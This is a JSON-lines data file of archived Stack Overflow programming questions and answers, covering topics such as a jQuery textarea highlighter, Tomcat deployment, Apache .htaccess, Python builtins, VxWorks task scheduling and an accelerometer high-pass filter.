{"id": "hf_0d78a8efee10", "question": "<p>Is it possible to highlight text inside of a textarea using javascript? Either changing the background of just a portion of the text area or making a portion of the text <em>selected</em>?</p>\n", "question_body": "", "answer": "Try this piece of code I wrote this morning, it will highlight a defined set of words:\n```\n```\n<html>\n    <head>\n        <title></title>\n        <!-- Load jQuery -->\n        <script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js\"></script>\n        <!-- The javascript xontaining the plugin and the code to init the plugin -->\n        <script type=\"text/javascript\">\n            $(function() {\n                // let's init the plugin, that we called \"highlight\".\n                // We will highlight the words \"hello\" and \"world\", \n                // and set the input area to a widht and height of 500 and 250 respectively.\n                $(\"#container\").highlight({\n                    words:  [\"hello\",\"world\"],\n                    width:  500,\n                    height: 250\n                });\n            });\n\n            // the plugin that would do the trick\n            (function($){\n                $.fn.extend({\n                    highlight: function() {\n                        // the main class\n                        var pluginClass = function() {};\n                        // init the class\n                        // Bootloader\n                        pluginClass.prototype.__init = function (element) {\n                            try {\n                                this.element = element;\n                            } catch (err) {\n                                this.error(err);\n                            }\n                        };\n                        // centralized error handler\n                        pluginClass.prototype.error = function (e) {\n                            // manage error and exceptions here\n                            //console.info(\"error!\",e);\n                        };\n                        // Centralized routing function\n                        pluginClass.prototype.execute = function (fn, options) {\n                            try {\n                                options = $.extend({},options);\n                                if (typeof(this[fn]) == \"function\") {\n                                    var output = this[fn].apply(this, [options]);\n                                } else {\n                                    this.error(\"undefined_function\");\n                                }\n                            } catch (err) {\n                                this.error(err);\n                            }\n                        };\n                        // **********************\n                        // Plugin Class starts here\n                        // **********************\n                        // init the component\n                        pluginClass.prototype.init = function (options) {\n                            try {\n                                // the element's reference ( $(\"#container\") ) is stored into \"this.element\"\n                                var scope                   = this;\n                                this.options                = options;\n\n                                // just find the different elements we'll need\n                                this.highlighterContainer   = this.element.find('#highlighterContainer');\n                                this.inputContainer         = this.element.find('#inputContainer');\n                                this.textarea               = this.inputContainer.find('textarea');\n                                this.highlighter            = this.highlighterContainer.find('#highlighter');\n\n                                // apply the css\n                                this.element.css('position','relative');\n\n                                // place both the highlight container and the textarea container\n                                // on the same coordonate to superpose them.\n                                this.highlighterContainer.css({\n                                    'position':         'absolute',\n                                    'left':             '0',\n                                    'top':              '0',\n                                    'border':           '1px dashed #ff0000',\n                                    'width':            this.options.width,\n                                    'height':           this.options.height,\n                                    'cursor':           'text'\n                                });\n                                this.inputContainer.css({\n                                    'position':         'absolute',\n                                    'left':             '0',\n                                    'top':              '0',\n                                    'border':           '1px solid #000000'\n                                });\n                                // now let's make sure the highlit div and the textarea will superpose,\n                                // by applying the same font size and stuffs.\n                                // the highlighter must have a white text so it will be invisible\n                                this.highlighter.css({\n\n                                    'padding':          '7px',\n                                    'color':            '#eeeeee',\n                                    'background-color': '#ffffff',\n                                    'margin':           '0px',\n                                    'font-size':        '11px',\n                                    'font-family':      '\"lucida grande\",tahoma,verdana,arial,sans-serif'\n                                });\n                                // the textarea must have a transparent background so we can see the highlight div behind it\n                                this.textarea.css({\n                                    'background-color': 'transparent',\n                                    'padding':          '5px',\n                                    'margin':           '0px',\n                                    'font-size':        '11px',\n                                    'width':            this.options.width,\n                                    'height':           this.options.height,\n                                    'font-family':      '\"lucida grande\",tahoma,verdana,arial,sans-serif'\n                                });\n\n                                // apply the hooks\n                                this.highlighterContainer.bind('click', function() {\n                                    scope.textarea.focus();\n                                });\n                                this.textarea.bind('keyup', function() {\n                                    // when we type in the textarea, \n                                    // we want the text to be processed and re-injected into the div behind it.\n                                    scope.applyText($(this).val());\n                                });\n                            } catch (err) {\n                                this.error(err);\n                            }\n                            return true;\n                        };\n                        pluginClass.prototype.applyText = function (text) {\n                            try {\n                                var scope                   = this;\n\n                                // parse the text:\n                                // replace all the line braks by <br/>, and all the double spaces by the html version &nbsp;\n                                text = this.replaceAll(text,'\\n','<br/>');\n                                text = this.replaceAll(text,'  ','&nbsp;&nbsp;');\n\n                                // replace the words by a highlighted version of the words\n                                for (var i=0;i<this.options.words.length;i++) {\n                                    text = this.replaceAll(text,this.options.words[i],'<span style=\"background-color: #D8DFEA;\">'+this.options.words[i]+'</span>');\n                                }\n\n                                // re-inject the processed text into the div\n                                this.highlighter.html(text);\n\n                            } catch (err) {\n                                this.error(err);\n                            }\n                            return true;\n                        };\n                        // \"replace all\" function\n                        pluginClass.prototype.replaceAll = function(txt, replace, with_this) {\n                            return txt.replace(new RegExp(replace, 'g'),with_this);\n                        }\n\n                        // don't worry about this part, it's just the required code for the plugin to hadle the methods and stuffs. Not relevant here.\n                        //**********************\n                        // process\n                        var fn;\n                        var options;\n                        if (arguments.length == 0) {\n                            fn = \"init\";\n                            options = {};\n                        } else if (arguments.length == 1 && typeof(arguments[0]) == 'object') {\n                            fn = \"init\";\n                            options = $.extend({},arguments[0]);\n                        } else {\n                            fn = arguments[0];\n                            options = $.extend({},arguments[1]);\n                        }\n\n                        $.each(this, function(idx, item) {\n                            // if the component is not yet existing, create it.\n                            if ($(item).data('highlightPlugin') == null) {\n                                $(item).data('highlightPlugin', new pluginClass());\n                                $(item).data('highlightPlugin').__init($(item));\n                            }\n                            $(item).data('highlightPlugin').execute(fn, options);\n                        });\n                        return this;\n                    }\n                });\n\n            })(jQuery);\n\n        </script>\n    </head>\n    <body>\n\n        <div id=\"container\">\n            <div id=\"highlighterContainer\">\n                <div id=\"highlighter\">\n\n                </div>\n            </div>\n            <div id=\"inputContainer\">\n                <textarea cols=\"30\" rows=\"10\">\n\n                </textarea>\n            </div>\n        </div>\n\n    </body>\n</html>\n```\n```\nThis was written for another post (http://facebook.stackoverflow.com/questions/7497824/how-to-highlight-friends-name-in-facebook-status-update-box-textarea/7597420#7597420), but it seems to be what you're searching for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.526766"}
{"id": "hf_6c4c9e2d4b1e", "question": "<p>The <code>__debug__</code> variable is handy in part because it affects every module. If I want to create another variable that works the same way, how would I do it?</p>\n\n<p>The variable (let's be original and call it 'foo') doesn't have to be truly global, in the sense that if I change foo in one module, it is updated in others. I'd be fine if I could set foo before importing other modules and then they would see the same value for it.</p>\n", "question_body": "", "answer": "This sounds like modifying the\n```\n__builtin__\n```\nname space.  To do it:\n```\n```\nimport __builtin__\n__builtin__.foo = 'some-value'\n```\n```\nDo not use the\n```\n__builtins__\n```\ndirectly (notice the extra \"s\") - apparently this can be a dictionary or a module.  Thanks to ΤΖΩΤΖΙΟΥ for pointing this out, more can be found\nhere\n.\nNow\n```\nfoo\n```\nis available for use everywhere.\nI don't recommend doing this generally, but the use of this is up to the programmer.\nAssigning to it must be done as above, just setting\n```\nfoo = 'some-other-value'\n```\nwill only set it in the current namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.552430"}
{"id": "hf_d8110f12bd03", "question": "<p>Is there a way to deploy a given war file on Tomcat server? I want to do this without using the web interface.</p>\n", "question_body": "", "answer": "you can edit the conf/server.xml and add an entry like this pointing to your war directory\n```\n```\n<Context path=\"/strutsDisplayTag\" \n        reloadable=\"true\" \n        docBase=\"C:\\work\\learn\\jsp\\strutsDisplayTag\" \n        workDir=\"C:\\work\\learn\\jsp\\strutsDisplayTag\\work\" />\n```\n```\nELSE\n you can copy your .WAR file to the webapps directory of tomcat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.576745"}
{"id": "hf_4e4ffdc3bf18", "question": "<p>I have pushed my .htaccess files to the production severs, but they don't work. Would a restart be the next step, or should I check something else.</p>\n", "question_body": "", "answer": "No\n:\nApache allows for decentralized management of configuration via special files placed inside the web tree. The special files are usually called\n```\n.htaccess\n```\n, but any name can be specified in the\nAccessFileName\ndirective... Since .htaccess files are read on every request, changes made in these files take immediate effect...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.602533"}
{"id": "hf_90e4c49047e5", "question": "<p>I have a site, from which you can download an HTML file. This HTML file contains a form with hidden fields, which is right away posted back to the site using JavaScript. This is a way of allowing users to download to their own machine data that they edit on the site.</p>\n\n<p>On some machines, you get an IE \"yellow bar\" when trying to open the file you saved. The \"yellow bar\" in IE is warning that the HTML is trying to run an Active X (which it is not, there is only JavaScript doing a submit() on a form). However if you receive the exact same HTML file by email, save it, and open it, you don't have this problem. (It looks like IE is putting some more constraint on what can be done in a HTML file you saved from web site.)</p>\n\n<p>My question is: where can I find documentation on this IE security mechanism, and possibly how can I get around it?</p>\n\n<p>Alex</p>\n", "question_body": "", "answer": "I don't 100% follow what your JavaScript is submitting to, but if you're submitting back to the original site from the downloaded copy you'll have a problem using JavaScript as all browsers treat cross-domain JavaScript as a security violation.\nJavaScript isn't allowed to read or write to any site not on the current domain", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.626411"}
{"id": "hf_0bf64114f688", "question": "<p>I have a Button inside an UpdatePanel.  The button is being used as the OK button for a ModalPopupExtender.  For some reason, the button click event is not firing.  Any ideas?  Am I missing something?</p>\n\n<pre><code>&lt;asp:updatepanel id=\"UpdatePanel1\" runat=\"server\"&gt;\n    &lt;ContentTemplate&gt;\n        &lt;cc1:ModalPopupExtender ID=\"ModalDialog\" runat=\"server\" \n            TargetControlID=\"OpenDialogLinkButton\"\n            PopupControlID=\"ModalDialogPanel\" OkControlID=\"ModalOKButton\"\n            BackgroundCssClass=\"ModalBackground\"&gt;\n        &lt;/cc1:ModalPopupExtender&gt;\n        &lt;asp:Panel ID=\"ModalDialogPanel\" CssClass=\"ModalPopup\" runat=\"server\"&gt;\n            ...\n            &lt;asp:Button ID=\"ModalOKButton\" runat=\"server\" Text=\"OK\" \n                        onclick=\"ModalOKButton_Click\" /&gt;\n        &lt;/asp:Panel&gt;\n    &lt;/ContentTemplate&gt;\n&lt;/asp:updatepanel&gt;\n</code></pre>\n", "question_body": "", "answer": "It appears that a button that is used as the OK or CANCEL button for a ModalPopupExtender cannot have a click event.  I tested this out by removing the\n```\n```\nOkControlID=\"ModalOKButton\"\n```\n```\nfrom the ModalPopupExtender tag, and the button click fires.  I'll need to figure out another way to send the data to the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.674317"}
{"id": "hf_87b4ac78a801", "question": "<p>I have  DocumentRoot /var/www/test    in my .htaccess file. This is causing the apache server to give me a 500 internal server error.</p>\n\n<p>The error log file shows:\nalert] [client 127.0.0.1] /var/www/.htaccess: DocumentRoot not allowed here</p>\n\n<p>AllowOveride All is set in my conf file.</p>\n\n<p>Any idea why this is happening?</p>\n", "question_body": "", "answer": "The\nDocumentRoot\ndirective cannot appear in a\n```\n.htaccess\n```\nfile. Put it in\n```\nhttpd.conf\n```\ninstead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.722262"}
{"id": "hf_43004565363e", "question": "<p>Are there any unit testing solutions for Flex? or actionscript 3?</p>\n\n<p>If so, what are their features? Any UI testing abilities? Functional testing? Any pointers, examples, libraries or tools that you can share?</p>\n", "question_body": "", "answer": "FlexUnit is pretty awesome -\nhttp://opensource.adobe.com/wiki/display/flexunit/FlexUnit\nAlso ASUnit -\nhttp://asunit.org\nThey are both pretty similiar and both haven taken quite a bit from frameworks like JUnit.\nFlexMonkey (\nhttp://code.google.com/p/flexmonkey/\n) although I haven't used it myself seems to do UI unit testing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.757808"}
{"id": "hf_9188c7f29f16", "question": "<p>You know those websites that let you type in your checking account number and the routing number, and then they can transfer money to and from your account?</p>\n\n<p>How does that work?  Any good services or APIs for doing that?  Any gotchas?</p>\n", "question_body": "", "answer": "The banks do have APIs for doing this, but only approved people/companies are allowed to interface with these systems.  Because it actually involves transferring money around, the security requirements are pretty high in terms of how you handle the account numbers on your system.\nMany sites that offer this feature for buying goods actually use a third party system to handle the actual money transfer into their account.   This lowers the amount of trouble to implement the API, as well as putting the burden of security on the third party handling the money transfers.\nIf you are serious about setting up a system where you can accept bank account numbers, and exchange funds, you should contact your bank, and see what the actual requirements for implementing such a system.  Each bank has their own system, along with their own rate regarding the cost of these transactions.\nSome third parties I'm aware of are\nMoneris\nCactus\nBeanstream\nI'm in Canada, although I think Moneris and Cactus operate in the US.  I think Beanstream doesn't.  Again, you can talk to your bank, and they can probably get you in touch with a third party who will help you with the transactions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.782275"}
{"id": "hf_3b25c0c69441", "question": "<p>A legacy embedded system is implemented using a cooperative multi-tasking scheduler.  </p>\n\n<p>The system essentially works along the following lines:</p>\n\n<ul>\n<li>Task A does work</li>\n<li>When Task A is done, it yields the processor.</li>\n<li>Task B gets the processor and does work.</li>\n<li>Task B yields<br>\n...  </li>\n<li>Task n yields</li>\n<li>Task A gets scheduled and does work</li>\n</ul>\n\n<p>One big Circular Queue: A -> B -> C -> ... -> n -> A</p>\n\n<p>We are porting the system to a new platform and want to minimize system redesign.</p>\n\n<p>Is there a way to implement that type of cooperative multi-tasking in vxWorks?</p>\n", "question_body": "", "answer": "While VxWorks is a priority based OS, it is possible to implement this type of cooperative multi-tasking.\nSimply put all the tasks at the\nsame\npriority.\nIn your code, where you do your\nyield\n, simply insert a 'taskDelay(0);'\nNote that you have to make sure the kernel time slicing is disabled (kernelTimeSlice(0)).\nAll tasks at the same priority are in a Queue.  When a task yields, it gets put at the end of the queue.  This would implement the type of algorithm described.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.832573"}
{"id": "hf_73657057f921", "question": "<p>I've heard that the automotive industry has something called MISRA C.</p>\n\n<p>What are the relevant standards for other high reliability/availability/security industries, such as</p>\n\n<ul>\n<li>Space</li>\n<li>Aircraft</li>\n<li>Banking/financial</li>\n<li>Automotive</li>\n<li>Medical</li>\n<li>Defense/Military</li>\n<li>???</li>\n</ul>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "if you're asking specifically about coding, the MISRA presents some guidelines for avoiding common mistakes in C.\nhowever, there's a lot more to good software than coding. The \"bible\" of the aviation industry for sw development is DO-178B. It tells you what questions need to be addressed in the various design phases and how the answers should be documented. It's an ENORMOUS amount of paperwork, but if you're trying to keep planes in the air, you want the weakest point to be the human (pilot), not the software.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.856106"}
{"id": "hf_0085e24268dc", "question": "<p>I want to do something like the following in spring:</p>\n\n<pre><code>&lt;beans&gt;\n    ...\n    &lt;bean id=\"bean1\" ... /&gt;\n    &lt;bean id=\"bean2\"&gt;\n        &lt;property name=\"propName\" value=\"bean1.foo\" /&gt;\n...\n</code></pre>\n\n<p>I would think that this would access the getFoo() method of bean1 and call the setPropName() method of bean2, but this doesn't seem to work.</p>\n", "question_body": "", "answer": "I think you have to inject bean1, then get\n```\nfoo\n```\nmanually because of a timing issue. When does the framework resolve the value of the target bean?\nYou could create a pointer bean and configure that.\n```\n```\nclass SpringRef {\n  private String targetProperty;\n  private Object targetBean;\n\n  //getters/setters\n\n  public Object getValue() {\n    //resolve the value of the targetProperty on targetBean. \n  }\n}\n```\n```\nCommon-BeanUtils\nshould be helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.879059"}
{"id": "hf_fc51fbe4efff", "question": "<p>I recently asked a <a href=\"https://stackoverflow.com/questions/137712/sql-tracing-linq-to-entities\">question about tracing Linq-to-Entities</a></p>\n\n<p>I think that <a href=\"https://stackoverflow.com/questions/137712/sql-tracing-linq-to-entities#138109\">one of the answers</a> was not right, as they refer to using the DataContext. Is there a DataContext for LINQ-to-Entities? If so, how do I get it?</p>\n", "question_body": "", "answer": "Apparently, LinqToEntities uses an\nObjectContext\ninstead of DataContext.\nIt is hilarious that the object team made a DataContext and the data team made an ObjectContext (and on to DataQuery vs ObjectQuery, etc.) \"Naming is Hard!\"\nUpdate, for .net 4 with EF4.1, you might also be interested in\nDbContext\nwhen working with LinqToEntities.  See\nalso\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.936434"}
{"id": "hf_ca18fc49fbac", "question": "<p>I'd like to how to upgrade the default python installation(2.5.2) supplied with ubuntu 8.04 to python 2.6rc2. I'd like to make 2.6 the default python version on the system and migrate all the other useful installed python libraries installed on 2.5.2 to python 2.6rc2. Please let me know how I can achieve this.</p>\n\n<p>Thanks\nDirk</p>\n", "question_body": "", "answer": "With the warning that I think it's a tremendously bad idea to replace the default Python with an unreleased beta version:\nFirst, install 2.6rc2. You can download the source from the\nPython website\n. Standard\n```\n./configure && make && sudo make install\n```\ninstallation style.\nNext, remove the\n```\n/usr/bin/python\n```\nsymlink. Do\nnot\nremove\n```\n/usr/bin/python2.5\n```\n. Add a symlink to 2.6 with\n```\nln -s /usr/local/bin/python2.6 /usr/bin/python\n```\n.\nOnce again, I think this is a terrible idea. There is almost certainly a better way to do whatever you're trying to accomplish.\nMigrating installed libraries is a much longer process. Look in the\n```\n/usr/lib/python2.5/site-packages/\n```\nand\n```\n/usr/local/lib/python2.5/site-packages/\n```\ndirectories. Any libraries installed to them will need to be re-installed with 2.6. Since you're not using a packaged Python version, you cannot use Ubuntu's packages -- you'll have to manually upgrade all the libraries yourself. Most of them can probably be installed with\n```\nsudo easy_install <name>\n```\n, but some like PyGTK+ are not so easy. You'll have to follow custom installation procedures for each such library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.959602"}
{"id": "hf_6c8118e41dea", "question": "<p>From the reading that I have done, Core Audio relies heavily on callbacks (and C++, but that's another story).  </p>\n\n<p>I understand the concept (sort of) of setting up a function that is called by another function repeatedly to accomplish a task.  I just don't understand how they get set up and how they actually work.  Any examples would be appreciated.</p>\n", "question_body": "", "answer": "Callbacks in C are usually implemented using function pointers and an associated data pointer. You pass your function\n```\non_event()\n```\nand data pointers to a framework function\n```\nwatch_events()\n```\n(for example). When an event happens, your function is called with your data and some event-specific data.\nCallbacks are also used in GUI programming. The\nGTK+ tutorial\nhas a nice section on the\ntheory of signals and callbacks\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.011326"}
{"id": "hf_58bcf7a73074", "question": "<p>I want to convert a number between 0 and 4096 ( 12-bits ) to its 3 character hexadecimal string representation in C#. </p>\n\n<p>Example:</p>\n\n<pre>\n2748 to \"ABC\"\n</pre>\n", "question_body": "", "answer": "try\n```\n```\n2748.ToString(\"X\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.061097"}
{"id": "hf_955a02f8ea93", "question": "<p>My zune just updated to 3.0 (didn't even realize they were releasing something new!) and the update came with two games, but the Zune marketplace does not have games.  </p>\n\n<p>Where do I go to get started, and what are the capabilities of the Zune in terms of games/apps?</p>\n", "question_body": "", "answer": "Well, first, you must download the Microsoft XNA 3.0 CTP. Read the documentation, which will explain the capabilities. But, from memory:\nNo hardware accelerated 3d (obviously, you can create a software 3d engine and then render the result to a 2d sprite, but... Don't expect much in terms of performance ;))\nNo XACT, you must use a new sound API", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.084791"}
{"id": "hf_66ba577e52d8", "question": "<p>I've create a WinForms control that inherits from System.Windows.Forms.UserControl...I've got some custom events on the control that I would like the consumer of my control to be able to see. I'm unable to actually get my events to show up in the Events tab of the Properties window during design time. This means the only way to assign the events is to programmatically write </p>\n\n<pre><code>myUserControl.MyCustomEvent += new MyUserControl.MyCustomEventHandler(EventHandlerFunction);\n</code></pre>\n\n<p>this is fine for me I guess but when someone else comes to use my UserControl they are not going to know that these events exist (unless they read the library doco...yeah right). I know the event will show up using Intellisense but it would be great if it could show in the properties window too.</p>\n", "question_body": "", "answer": "Make sure your events are exposed as public. For example...\n```\n```\n[Browsable(true)]\npublic event EventHandler MyCustomEvent;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.107459"}
{"id": "hf_7438c346d739", "question": "<p>I've been working on a web crawling .NET app in my free time, and one of the features of this app that I wanted to included was a pause button to pause a specific thread.</p>\n\n<p>I'm relatively new to multi-threading and I haven't been able to figure out a way to pause a thread indefinitely that is currently supported. I can't remember the exact class/method, but I know there is a way to do this but it has been flagged as obsolete by the .NET framework.</p>\n\n<p>Is there any good general purpose way to indefinitely pause a worker thread in C# .NET.</p>\n\n<p>I haven't had a lot of time lately to work on this app and the last time I touched it was in the .NET 2.0 framework. I'm open to any new features (if any) that exist in the .NET 3.5 framework, but I'd like to know of solution that also works in the 2.0 framework since that's what I use at work and it would be good to know just in case.</p>\n", "question_body": "", "answer": "The\nThreading in C#\nebook summarises Thread.Suspend and Thread.Resume thusly:\nThe deprecated Suspend and Resume methods have two modes – dangerous and useless!\nThe book recommends using a synchronization construct such as an\nAutoResetEvent\nor\nMonitor.Wait\nto perform thread suspending and resuming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.131210"}
{"id": "hf_2a7db1bcf2c9", "question": "<p>I would like to drag and drop my data file onto a Python script and have it process the file and generate output. The Python script accepts the name of the data file as a command-line parameter, but Windows Explorer doesn't allow the script to be a drop target.</p>\n\n<p>Is there some kind of configuration that needs to be done somewhere for this work?</p>\n", "question_body": "", "answer": "Sure. From a\nmindless technology article called \"Make Python Scripts Droppable in Windows\"\n, you can add a drop handler by adding a registry key:\nHere’s a registry import file that you can use to do this. Copy the\n  following into a .reg file and run it\n  (Make sure that your .py extensions\n  are mapped to Python.File).\n```\n```\nWindows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\Python.File\\shellex\\DropHandler]\n@=\"{60254CA5-953B-11CF-8C96-00AA00B8708C}\"\n```\n```\nThis makes Python scripts use the WSH drop handler, which is compatible with long filenames. To use the short filename handler, replace the GUID with\n```\n86C86720-42A0-1069-A2E8-08002B30309D\n```\n.\nA comment in that post indicates that one can enable dropping on \"no console Python files (\n```\n.pyw\n```\n)\" or \"compiled Python files (\n```\n.pyc\n```\n)\" by using the\n```\nPython.NoConFile\n```\nand\n```\nPython.CompiledFile\n```\nclasses.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.167306"}
{"id": "hf_da5ea6ed5b9c", "question": "<p>How do I change Oracle from port 8080? My Eclipse is using 8080, so I can't use that.</p>\n", "question_body": "", "answer": "I assume you're talking about the Apache server that Oracle installs.  Look for the file httpd.conf.\nOpen this file in a text editor and look for the line\nListen 8080\nor\nListen {ip address}:8080\nChange the port number and either restart the web server or just reboot the machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.224165"}
{"id": "hf_7bdbd473616f", "question": "<p>I started playing around with Linq today and ran into a problem I couldn't find an answer to. I was querying a simple SQL Server database that had some employee records. One of the fields is the full name (cn). I thought it would be interesting to group by the first name by splitting the full name at the first space. I tried</p>\n\n<pre><code>group by person.cn.Split(separators)[0]\n</code></pre>\n\n<p>but ran into a lengthy runtime exception (looked a lot like a C++ template instantiation error).</p>\n\n<p>Then I tried grouping by a few letters of the first name:</p>\n\n<pre><code>group by person.cn.Substring(0,5)\n</code></pre>\n\n<p>and that worked fine but is not what I want.</p>\n\n<p>I'm wondering about two things:</p>\n\n<ul>\n<li>Why does the first example not work when it looks so close to the second?</li>\n<li>Knowing that behind the scenes it's SQL stuff going on, what's a good way to do this kind of thing efficiently</li>\n</ul>\n\n<p>Thanks,</p>\n\n<p>Andrew</p>\n", "question_body": "", "answer": "Split has no translation into SQL.\nSo, how to do this string manipulation without split?  Cheat like hell (untested):\n```\n```\nstring oneSpace = \" \";\nstring fiftySpace = \"                                                  \";\n\nvar query = \n  from person in db.Persons\n  let lastname = person.cn.Replace(oneSpace, fiftySpace).SubString(0, 50).Trim()\n  group person by lastname into g\n  select new { Key = g.Key, Count = g.Count };\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.265803"}
{"id": "hf_674ca8bbaf7a", "question": "<p>I remember seeing the code for a Highpass filter a few days back somewhere in the samples, however I can't find it anywhere now! Could someone remember me where the Highpass filter implementation code was?</p>\n\n<p>Or better yet post the algorithm?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "From the idevkit.com forums:\n```\n```\n#define kFilteringFactor 0.1\nstatic UIAccelerationValue rollingX=0, rollingY=0, rollingZ=0;\n\n- (void)accelerometer:(UIAccelerometer *)accelerometer didAccelerate:(UIAcceleration *)acceleration {\n\n    // Calculate low pass values\n\n    rollingX = (acceleration.x * kFilteringFactor) + (rollingX * (1.0 - kFilteringFactor));\n    rollingY = (acceleration.y * kFilteringFactor) + (rollingY * (1.0 - kFilteringFactor));\n    rollingZ = (acceleration.z * kFilteringFactor) + (rollingZ * (1.0 - kFilteringFactor));\n\n    // Subtract the low-pass value from the current value to get a simplified high-pass filter\n\n    float accelX = acceleration.x - rollingX;\n    float accelY = acceleration.y - rollingY;\n    float accelZ = acceleration.z - rollingZ;\n\n    // Use the acceleration data.\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.294586"}
